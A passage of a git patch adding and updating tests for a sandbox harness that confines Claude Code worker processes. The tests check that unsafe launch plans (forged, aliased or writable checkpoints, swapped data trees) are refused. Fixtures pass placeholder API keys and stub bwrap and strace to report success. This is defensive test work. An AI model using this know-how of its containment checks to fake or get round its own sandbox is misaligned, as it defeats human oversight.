reader=child.stdout.getReader();await reader.read();reader.releaseLock(); + const input={env:{PATH:root},brainPath:root,command:[process.execPath]}; + const record=nativeRtkProjectionInputs(child.pid,input); + expect(record,"LIVE_RTK_PROJECTION_INPUTS").toMatchObject({statusReadable:true,environmentReadable:true,pathEqualsOriginal:true,uidEqualsExpected:true,gidEqualsExpected:true,groupsEqualExpected:true,rtkReadable:true,mode:0o755,staticElf:false,protectedInstallation:true,hostIdentityEqualsWorker:true}); + expect(typeof record.ro).toBe("boolean");expect(typeof record.nodev).toBe("boolean");expect(typeof record.nosuid).toBe("boolean"); + expect(nativeRtkProjectionInputs(child.pid,{...input,env:{PATH:"/other"}}).pathEqualsOriginal,"PATH_DIFFERENCE_IS_OBSERVED").toBe(false); + const text=JSON.stringify(record);for(const secret of [root,"/usr/bin","private-fixture-secret","ANTHROPIC_AUTH_TOKEN"])expect(text,"RTK_PROJECTION_SCRUBBED").not.toContain(secret); + expect(nativeRtkProjectionInputs(2147483647,input)).toMatchObject({statusReadable:false,environmentReadable:false,pathEqualsOriginal:null,rtkReadable:false}); + for(const [result,expected] of [["same","unchanged"],["different","rewritten"],["","empty-result"],[null,"invalid-result"]] as const)expect(nativeRtkOracleResult("same",result)).toBe(expected); + }finally{child.stdin.end();await child.exited;fs.rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-strict-admission.test.ts b/tests/native-strict-admission.test.ts new file mode 100644 index 0000000000..2cfc11bd63 --- /dev/null +++ b/tests/native-strict-admission.test.ts @@ -0,0 +1,94 @@ +import {expect,test} from "bun:test"; +import {mkdtempSync,writeFileSync,rmSync} from "node:fs"; +import {join} from "node:path"; +import {watchdogMs} from "../scripts/test-deadlines"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; +const repo=join(import.meta.dir,".."); +const modes=["managed-complete","managed-wrong-checkpoint","managed-fd-before-launch","managed-owner-released","managed-owner-before-launch","managed-reuse","managed-other-scope","managed-start","managed-namespace","managed-fd","managed-root","managed-unmanaged","managed-observed-unmanaged","complete","checkpoint-only","checkpoint-released","checkpoint-released-before-launch","forged","released","release-before-launch","alias","dotdot","writable","wrong-target","wrong-brain","duplicate","tree-declare-parent","tree-wrong-brain","tree-swapped","tree-alias","tree-outside","tree-parent","tree-replaced","tree-released"]; +for(const mode of modes)test(`strict native product plan admission: ${mode}`,async()=>{ + const root=mkdtempSync("/tmp/odysseus-strict-admission-"); + try{ + const file=join(root,"proof.ts");writeFileSync(file,` +import * as fs from "node:fs";import {join} from "node:path";import {spyOn} from "bun:test"; +import {watchdogMs} from ${JSON.stringify(join(repo,"scripts/test-deadlines.ts"))}; +import {prepareNativeWorkerStartupView} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-startup-view.ts"))}; +import {workerCommand,createOutputStagingStorage} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; +import {prepareFixtureWorkerOutput} from ${JSON.stringify(join(repo,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))}; +import {nativeScriptedService,nativeFixtureTurnDataTree,nativeScriptedQuery,nativeWorkerBoundary,registerNativeFixtureKeeper,registerNativeFixtureManagedKeeper,recordNativeGuardChild} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; +import {bundledClaudeBinary} from ${JSON.stringify(join(repo,"packages/ui-server/tests/helpers/claude-binary.ts"))}; +const root=${JSON.stringify(root)},mode=${JSON.stringify(mode)},brain=join(root,"brain");fs.mkdirSync(brain);fs.mkdirSync(join(brain,"workspaces"));fs.writeFileSync(join(brain,"loom.md"),"Odysseus"); +const realStatfs=fs.statfsSync;const fake=spyOn(fs,"statfsSync").mockImplementation((path,...args)=>{const value=realStatfs(path,...args);return String(path)===brain||String(path).includes("/.brain-native/checkpoints/")?{...value,type:0x9123683e}:value;}); +const manager={async checkpoint(id){const path=join(root,".brain-native/checkpoints",id);fs.mkdirSync(path,{recursive:true});fs.mkdirSync(join(path,"workspaces"));fs.writeFileSync(join(path,"loom.md"),"Odysseus");fs.writeFileSync(join(path,".env"),"ODYSSEUS_FIXTURE=harmless");return {id,path,readOnly:true,fsid:"00000000-0000-4000-8000-000000000000",sourceUuid:"a".repeat(32),uuid:"b".repeat(32),rootId:"256",transaction:"1"};},async release(){},async prepareStage(){},async inspectStage(){},async releaseStage(){}}; +const view=await prepareNativeWorkerStartupView(brain,manager),otherHeld=mode==="managed-wrong-checkpoint"?await prepareNativeWorkerStartupView(brain,manager):undefined;fake.mockRestore(); +const treeParent=join(root,".brain-native/trees/00000000-0000-4000-8000-000000000000"),tree={root:join(treeParent,"data"),index:join(treeParent,"index"),indexWritable:true};fs.mkdirSync(join(tree.root,".brain-index"),{recursive:true});fs.mkdirSync(tree.index);fs.writeFileSync(join(tree.root,"loom.md"),"Odysseus"); +const server=Bun.serve({port:0,fetch(){return new Response(null,{status:400});}});const leave=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,]}); +let invoke;const wrapped=nativeScriptedQuery(params=>{invoke=params.options.spawnClaudeCodeProcess;return {};},server.url.origin); +const originalSpawn=Bun.spawnSync,which=Bun.which;Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options));Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(originalSpawn,Bun,[argv,options]));process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; +let plan,output,undeclare,otherView;try{ + if(mode==="tree-declare-parent")tree.root=join(root,".brain-native"); + if(mode==="tree-swapped"){[tree.root,tree.index]=[tree.index,tree.root];} + if(mode==="tree-alias"){fs.symlinkSync(tree.root,tree.root+"-alias");tree.root+="-alias";} + if(mode==="tree-outside")tree.index=brain; + if(!mode.startsWith("checkpoint-")&&(!mode.startsWith("managed-")||mode==="managed-complete"))undeclare=nativeFixtureTurnDataTree(server.url.origin,mode==="tree-wrong-brain"?root:brain,view,tree); + if(mode==="tree-replaced"){fs.renameSync(tree.index,tree.index+"-old");fs.mkdirSync(tree.index);} + if(mode==="tree-released")undeclare(); + const runtime=bundledClaudeBinary(); + // Exercise a registered fixture keeper through the actual production nsenter plan. + let storage,unregister; + if(mode.startsWith("managed-")){ + const mount=join(root,".brain-native/stages/22222222-2222-4222-8222-222222222222");fs.mkdirSync(mount,{recursive:true}); + const readyFile=join(root,"keeper-ready"),keeperArgv=["bwrap","--unshare-user","--bind","/","/","--tmpfs",mount,"--proc","/proc","--dev","/dev","--","/bin/sh","-c",'mkdir -p "$1/merged/workspaces"; echo $$ > "$2"; exec sleep "$3"',"odysseus-managed-keeper",mount,readyFile,String(watchdogMs(30000)/1000)]; + // A remote manager's keeper is not a guard-observed child. Fork through a + // short-lived manager stand-in, then prove ownership through the descriptor. + const managerChild=Bun.spawn(["/usr/bin/python3","-I","-S","-c",'import os,sys\\nif os.fork(): os._exit(0)\\nos.execvp(sys.argv[1],sys.argv[1:])',...keeperArgv],{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"ignore",stderr:"ignore"});await managerChild.exited; + const readyDeadline=Date.now()+watchdogMs(5000);while(!fs.existsSync(readyFile)){if(Date.now()>readyDeadline)throw Error("REAL_MANAGED_KEEPER_READY_REQUIRED");await Bun.sleep(5);} + const pid=Number(fs.readFileSync(readyFile,"utf8").trim()); + const fd=fs.openSync('/proc/'+pid+'/root'+mount,'r'),start=fs.readFileSync('/proc/'+pid+'/stat','utf8').replace(/^.*\\) /s,'').split(' ')[19];let finishObserved;const observedExit=new Promise(resolve=>finishObserved=resolve); + storage={root:'/proc/'+process.pid+'/fd/'+fd,mount,namespacePid:pid,namespaceStart:start,retain(){},release(){fs.closeSync(fd);try{process.kill(pid,"SIGTERM");}catch{}finishObserved(0);}}; + output={output:{source:join(storage.root,"merged"),target:"/tmp/brain-maintenance-output",storage},cleanup(){unregister?.();storage.release();}}; + if(mode==="managed-observed-unmanaged")recordNativeGuardChild({pid,exited:observedExit}); + if(mode==="managed-owner-released")await view.cleanup(); + if(mode==="managed-wrong-checkpoint"){otherView=otherHeld;view.root=otherView.root;} + if(mode==="managed-start")storage.namespaceStart="wrong-start"; + if(mode==="managed-namespace")storage.namespacePid=process.pid; + if(mode==="managed-fd")storage.root='/proc/self/fd/'+fd; + if(mode==="managed-root")storage.mount=join(root,".brain-native/stages/33333333-3333-4333-8333-333333333333"); + unregister=registerNativeFixtureManagedKeeper(storage,["managed-unmanaged","managed-observed-unmanaged"].includes(mode)?{...view}:view); + if(mode==="managed-reuse"){unregister();registerNativeFixtureManagedKeeper(storage,view);} + if(mode==="managed-other-scope")nativeScriptedService(server.url.origin,{fixtureRoots:[brain,]}); + }else{ + storage=createOutputStagingStorage();storage.retain();fs.mkdirSync(join(storage.root,"merged/workspaces"),{recursive:true});unregister=registerNativeFixtureKeeper(storage);output={output:{source:join(storage.root,"merged"),target:"/tmp/brain-maintenance-output",storage},cleanup(){unregister();storage.release();}}; + } + const launch={brainPath:brain,startupView:view,areaOutput:output.output,command:[runtime],env:{PATH:"/usr/local/bin:/usr/bin:/bin"},sandbox:{brain,restricted:false,profile:"strict",areas:[{name:"workspaces",rel:"workspaces",mount:{path:join(brain,"workspaces"),writable:true}}],scratchAliasesRemoved:[],dataTree:tree}}; + if(mode==="forged"){const forged=join(root,".brain-native/checkpoints/11111111-1111-4111-8111-111111111111");fs.mkdirSync(forged);launch.startupView={...view,root:forged};} + if(mode.startsWith("checkpoint-")||mode.startsWith("managed-")&&mode!=="managed-complete")delete launch.sandbox.dataTree; + if(mode.startsWith("managed-")&&mode!=="managed-complete")delete launch.startupView; + if(mode==="released"||mode==="checkpoint-released")await view.cleanup(); + if(mode==="alias"){fs.symlinkSync(view.root,view.root+"-alias");launch.startupView={...view,root:view.root+"-alias"};} + if(mode==="dotdot")launch.startupView={...view,root:view.root+"/../"+view.root.split("/").at(-1)}; + if(mode==="wrong-brain"){launch.startupView={...view,brain:root};} + let argv=workerCommand(launch);const at=argv.findIndex((v,i)=>v==="--ro-bind"&&argv[i+1]===launch.startupView?.root&&argv[i+2]===brain); + if(mode==="writable")argv[at]="--bind"; + if(mode==="wrong-target")argv[at+2]="/tmp/odysseus-other-brain"; + if(mode==="duplicate")argv.splice(at,0,...argv.slice(at,at+3)); + if(mode==="tree-parent"){argv=["bwrap","--ro-bind",join(root,".brain-native"),"/tmp/odysseus-undeclared-parent","--",runtime];delete launch.startupView;delete launch.areaOutput;} + launch.argv=argv; + // The SDK spawn-hook adapter must preserve the current held tree scope. + wrapped({options:{spawnClaudeCodeProcess(){plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)});return {};}}});invoke({}); + if(mode==="release-before-launch"||mode==="checkpoint-released-before-launch"||mode==="managed-owner-before-launch")await view.cleanup(); + if(mode==="managed-fd-before-launch"){const fd=Number(storage.root.split("/").at(-1));fs.closeSync(fd);const replacement=fs.openSync(brain,"r");if(replacement!==fd)throw Error("DESCRIPTOR_REUSE_REQUIRED");} + plan.beforeLaunch(); + if(mode!=="complete"&&mode!=="checkpoint-only"&&mode!=="managed-complete")throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); + const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + if(!guarded.includes("--unshare-net")||!guarded.some((v,i)=>v==="--dev"&&guarded[i+1]==="/dev")||!guarded.includes("/run/brain-egress/proxy.sock")||!guarded.some((v,i)=>v==="--ro-bind"&&guarded[i+1]==="/dev/null"&&guarded[i+2]===join(brain,".env")))throw Error("STRICT_DEVICES_AND_PINNED_TRANSPORT_MISSING"); + // Metadata-only audit completion: no installed runtime is executed in this proof. + fs.writeFileSync(guarded[guarded.indexOf("-o")+1],"1 execve("+JSON.stringify(runtime)+", [], 0x1) = 0\\n"); + console.log("STRICT_PLAN_ALL_BINDS_ADMITTED"); +}finally{plan?.dispose();output?.cleanup();undeclare?.();leave();server.stop(true);await view.cleanup();await otherView?.cleanup();} +`); + const child=spawnGuardFixture([process.execPath,file],{env:{...process.env},timeout:watchdogMs(20000)}); + const [code,out,receipts]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);const err=receipts; + if(mode==="complete"||mode==="checkpoint-only"||mode==="managed-complete"){expect(code,"STRICT_COMPLETE_PRODUCT_PLAN "+err+receipts).toBe(0);expect(out).toContain("STRICT_PLAN_ALL_BINDS_ADMITTED");} + else{expect(code,"STRICT_ROLE_REFUSES "+mode+" "+out).not.toBe(0);expect(err+receipts,"EXPECTED_ROLE_REFUSAL "+mode).not.toContain("UNSAFE_STRICT_PLAN_ADMITTED");expect(err+receipts,"ROLE_REFUSAL_IS_THE_CLAIMED_CAUSE "+mode).toMatch(/native checkpoint bind|native fixture turn data declaration unavailable|worker bind was not created or staged by the fixture|fixture keeper|managed fixture keeper/);if(["checkpoint-released","checkpoint-released-before-launch","forged","writable","wrong-target","duplicate"].includes(mode))expect(receipts,"CHECKPOINT_FAILURE_NAMES_FIXED_PRODUCT_ROLE").toContain('"sourceKind":"product-checkpoint"');} + }finally{rmSync(root,{recursive:true,force:true});} +}); From 0a20496a12e12cfd91a521956deddacbb88168e2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 03:31:58 +0000 Subject: [PATCH 092/187] fix: preserve native fixture plans and managed stage inspection --- experiments/2052-title-provenance/probe.ts | 2 +- .../tests/fixtures/autonomous-prompt-probe.ts | 2 +- .../tests/fixtures/background-shell-probe.ts | 4 +- .../fixtures/interactive-git-prompt-probe.ts | 8 +- .../fixtures/provider-history-apify-probe.ts | 2 +- .../provider-history-attachment-probe.ts | 2 +- .../tests/fixtures/provider-history-probe.ts | 6 +- .../tests/fixtures/server-host-relay-probe.ts | 2 +- .../tests/fixtures/session-prompt-probe.ts | 2 +- .../tests/fixtures/stable-roster-probe.ts | 2 +- .../tests/fixtures/transcript-prefix-probe.ts | 4 +- .../tests/native-hosted-runtime.test.ts | 2 +- .../tests/runtime-probe.test.ts | 7 +- .../tests/worker-event-loop.test.ts | 4 +- .../ui-backend-claude/tests/worker.test.ts | 4 +- .../tests/fixtures/ordinary-identity-ws.ts | 6 +- .../fixtures/scratch-mask-identity-ws.ts | 2 +- packages/ui-server/tests/helpers/test-app.ts | 5 + .../ui-server/tests/private-index.test.ts | 4 +- scripts/diagram-export-source.mjs | 2 +- scripts/measure-claude-enforcement.ts | 5 +- scripts/measure-claude-usage.ts | 2 +- scripts/measurement-rtk-fixture.ts | 5 + scripts/native-test-receipts.ts | 55 ++- scripts/test-native-guard.ts | 153 +++++-- scripts/test-shard-costs.json | 58 ++- scripts/unit-shard-observation.json | 418 ++++++++++++++++++ tests/fixtures/autonomous-app-probe.ts | 2 +- .../fixtures/autonomous-containment-probe.ts | 2 +- tests/fixtures/autonomous-dispatch-probe.ts | 2 +- tests/helpers/native-guard-copy-inventory.ts | 13 +- tests/native-direct-transport.test.ts | 1 + tests/native-guard-copy-closure.test.ts | 10 +- tests/native-managed-inspection.test.ts | 66 +++ tests/native-offline-boundary.test.ts | 28 +- tests/native-path-preservation.test.ts | 17 +- tests/native-receipt-channel.test.ts | 60 ++- tests/native-restricted-plan.test.ts | 63 +++ tests/native-strict-admission.test.ts | 41 +- tests/native-worker-classification.test.ts | 27 +- 40 files changed, 975 insertions(+), 125 deletions(-) create mode 100644 tests/native-managed-inspection.test.ts create mode 100644 tests/native-restricted-plan.test.ts diff --git a/experiments/2052-title-provenance/probe.ts b/experiments/2052-title-provenance/probe.ts index df13888ded..ced131f89f 100644 --- a/experiments/2052-title-provenance/probe.ts +++ b/experiments/2052-title-provenance/probe.ts @@ -39,7 +39,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream", "request-id": id } }); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [brainPath, home] }); +nativeScriptedService(server.url.origin, { fixtureRoots: [brainPath, home], fixtureCredentials:{ANTHROPIC_API_KEY:"offline-odysseus"} }); try { for (turnIndex = 1; turnIndex <= 2; turnIndex++) { const controller = new AbortController(); diff --git a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts index e2298c6dfa..0d1825a6ea 100644 --- a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts @@ -24,7 +24,7 @@ const upstream = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request ]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(upstream.url.origin, { fixtureRoots: [scratch] }); +nativeScriptedService(upstream.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "sk-odysseus-fixture"} }); try { for (let index = 0; index < 4; index++) { const brainPath = join(scratch, `ithaca-${index}`); diff --git a/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts b/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts index 3d4df18e7c..4d75815847 100644 --- a/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts @@ -31,7 +31,7 @@ for (const enforced of [false, true]) { if (new URL(request.url).pathname !== "/v1/messages") return Response.json({}); await request.json(); return reply(calls[sent++]); } }); - nativeScriptedService(server.url.origin); + nativeScriptedService(server.url.origin,{fixtureCredentials:{ANTHROPIC_API_KEY:"odysseus-offline-only-key"}}); const controller = new AbortController(), timer = setTimeout(() => controller.abort(), watchdogMs(20_000)); const lock = createTurnLockBinding({ turn: { ended: false, pendingReleases: new Map() }, writeLock: createKeyedLock(), lockWaitMs: 1000, log: () => {} }); const allowedTools = enforced ? [] : ["Bash"]; @@ -65,7 +65,7 @@ for (const enforced of [false, true]) { if (new URL(request.url).pathname !== "/v1/messages") return Response.json({}); await request.json(); return reply(sent++ === 0 ? { name: "Bash", id: "toolu_legacy", input: { command: "sleep 30", run_in_background: true } } : undefined); } }); - nativeScriptedService(server.url.origin); + nativeScriptedService(server.url.origin,{fixtureCredentials:{ANTHROPIC_API_KEY:"odysseus-offline-only-key"}}); const controller = new AbortController(), timer = setTimeout(() => controller.abort(), watchdogMs(20_000)); const env = { HOME: home, CLAUDE_CONFIG_DIR: join(home, ".claude"), PATH: process.env.PATH!, ANTHROPIC_BASE_URL: `http://127.0.0.1:${server.port}`, ANTHROPIC_API_KEY: "odysseus-offline-only-key", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }; try { diff --git a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts index b7a440dba9..9380c88c4e 100644 --- a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts @@ -1,7 +1,7 @@ import "../../../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../../../scripts/test-deadlines"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; -import { createFixtureWorkerStartupView, createFixtureMaintenanceHost, prepareFixtureWorkerSandbox } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; +import { createFixtureWorkerStartupView, createFixtureMaintenanceHost } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Keyless selected-runtime assembly receipt; caller denies all external network. */ import { mkdirSync, writeFileSync } from "node:fs"; import { join } from "node:path"; @@ -25,7 +25,7 @@ const upstream = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request ]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(upstream.url.origin, { fixtureRoots: [scratch] }); +nativeScriptedService(upstream.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY:"sk-odysseus-fixture",CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"} }); try { for (const billing of ["api", "subscription"] as const) { const brainPath = join(scratch, `ithaca-${billing}`); @@ -53,12 +53,12 @@ try { const maintenance = createFixtureMaintenanceHost(brainPath); const turn = createClaudeSdkTurn({ backend: { brainPath, maintenance }, - req: { workerStartupView, workerSandbox: prepareFixtureWorkerSandbox(brainPath, { home, areas: [] }), sessionId, prompt: `Odysseus turn ${index}`, signal: abortController.signal, + req: { workerStartupView, sessionId, prompt: `Odysseus turn ${index}`, signal: abortController.signal, turnBudgetMs: 10000, bridge: { emit() {}, checkpointPermission() {}, async requestPermission() { return { behavior: "deny", message: "no grant" }; } } } as never, profile: { id: "fixture", label: "Fixture", model: "claude-sonnet-4-6", billing, requiredEnvKeys: [], buildEnv: () => ({ HOME: home, CLAUDE_CONFIG_DIR: home, ANTHROPIC_BASE_URL: `http://127.0.0.1:${upstream.port}`, - ...(billing === "api" ? { ANTHROPIC_API_KEY: "sk-odysseus-fixture" } : { CLAUDE_CODE_OAUTH_TOKEN: `sk-ant-oat01-${"o".repeat(95)}AA` }) }) }, + ...(billing === "api" ? { ANTHROPIC_API_KEY: "sk-odysseus-fixture" } : { CLAUDE_CODE_OAUTH_TOKEN: "sk-ant-oat01-odysseus-fixture" }) }) }, abortController, allowedTools: ["Read"], confirmPatterns: [], turnLock: { acquire: () => undefined, release: () => undefined } as never, log() {}, }); diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts index 1f02cd9210..27f9b78114 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts @@ -57,7 +57,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: step ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [scratch] }); +nativeScriptedService(server.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "offline-odysseus"} }); const fake = fakeApify(); const restore = replaceNativeStartupAcquisitionForFixture(); try { diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts index 883b724c8e..12b243a990 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts @@ -45,7 +45,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: step ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [scratch] }); +nativeScriptedService(server.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "offline-odysseus"} }); const restore = replaceNativeStartupAcquisitionForFixture(); try { const brain = fixtureBrain(scratch, "attachment"); diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts index 2ecba70d9e..0789b897af 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts @@ -64,7 +64,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: tool ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [scratch] }); +nativeScriptedService(server.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "offline-odysseus"} }); const restore = replaceNativeStartupAcquisitionForFixture(); try { for (scenario of ["control", "repository", "facts", "posture", "promotion", "title", "reference", "renewal", "freshness", "immutable", "datatree", "compute", "safety"]) { @@ -79,7 +79,7 @@ try { if (scenario === "repository" && turnIndex) changeRepository(brain, turnIndex); const facts = scenario === "facts" ? turnIndex : 0; const controller = new AbortController(); - const sandbox = prepareFixtureWorkerSandbox(brain, { home, profile: "strict", areas: [] }); + const sandbox = prepareFixtureWorkerSandbox(brain, { home, profile: "strict", ...(scenario === "promotion" ? {} : { areas: [] }) }); const view = createFixtureWorkerStartupView(brain); const turn = createClaudeSdkTurn({ backend: { brainPath: brain, ...(scenario === "safety" ? { systemPromptAppend: turnIndex === 0 ? "Legacy safety policy: this session stays restricted." : "Reviewed safety policy: finalized individual verdicts may restore normal." } : {}) }, req: { prompt: `Odysseus checks voyage step ${turnIndex}.`, sessionId, signal: controller.signal, turnId: `odysseus-${turnIndex}`, @@ -157,7 +157,7 @@ try { // the production fingerprint of that exact SDK systemPrompt option instead // of leaving their option check vacuous behind the CLI's replayed system. const hosted = historyHost(brain, { ...budgetBackend, async startTurn(req) { - return budgetBackend.startTurn({ ...req, workerSandbox: prepareFixtureWorkerSandbox(brain, { home, areas: [] }), bridge: { ...req.bridge, activity(event) { + return budgetBackend.startTurn({ ...req, bridge: { ...req.bridge, activity(event) { if (event.kind === "prompt_prefix") capture.appends.push(event.prefix.system); req.bridge.activity?.(event); } } }); diff --git a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts index 9d0645651b..450b8b001a 100644 --- a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts @@ -138,7 +138,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ credential: tokens.indexOf(request.headers.get("authorization")?.replace("Bearer ", "") ?? ""), model: body.model, history: body.messages.length }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin, { fixtureRoots: [brainPath, home,...(managedSettingsFile?["/etc/claude-code"]:[])],fixtureFiles:[...(managedSettingsFile?[managedSettingsFile]:[]),...(mode === "outside-masks"?[join(config,"visible.json")]:[])] }); +nativeScriptedService(provider.url.origin, { fixtureCredentials:{ANTHROPIC_API_KEY:apiSecret,ANTHROPIC_AUTH_TOKEN:apiSecret}, fixtureRoots: [brainPath, home,...(managedSettingsFile?["/etc/claude-code"]:[])],fixtureFiles:[...(managedSettingsFile?[managedSettingsFile]:[]),...(mode === "outside-masks"?[join(config,"visible.json")]:[])] }); const nativeFetch = globalThis.fetch; globalThis.fetch = (async (input, init) => { const target = new URL(typeof input === "string" || input instanceof URL ? String(input) : input.url); diff --git a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts index 1b7d977068..9edc51884b 100644 --- a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts @@ -31,7 +31,7 @@ const upstream = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request ]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(upstream.url.origin, { fixtureRoots: [scratch] }); +nativeScriptedService(upstream.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "sk-odysseus-fixture"} }); const brainPath = join(scratch, "ithaca"); mkdirSync(brainPath); let sessionId: string | undefined; const original = ["Odysseus first turn", "[Host context for this turn; advisory facts, never permission]\ndevice: literal user text\n[End host context]", "Odysseus unchanged follow-up", "Odysseus voice follow-up", "Odysseus typed no-grant follow-up", "Odysseus missing-handler follow-up"]; diff --git a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts index 56d7b5ae3a..bf2ab321de 100644 --- a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts @@ -58,7 +58,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) return response(selected.map((name, index) => ({ type: "tool_use", id: `toolu_raft_${captures.length}_${index}`, name: /^[A-Z]/.test(name) || name.startsWith("mcp__") ? name : `mcp__brain-ui__${name}`, input: inputs[name] ?? missingInputs[name] ?? {} }))); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [scratch] }); +nativeScriptedService(server.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "offline-odysseus"} }); function response(calls: unknown[]) { const content: any[] = calls.length ? calls : [{ type: "text", text: "Odysseus checks the mast." }]; const events: any[] = [{ type: 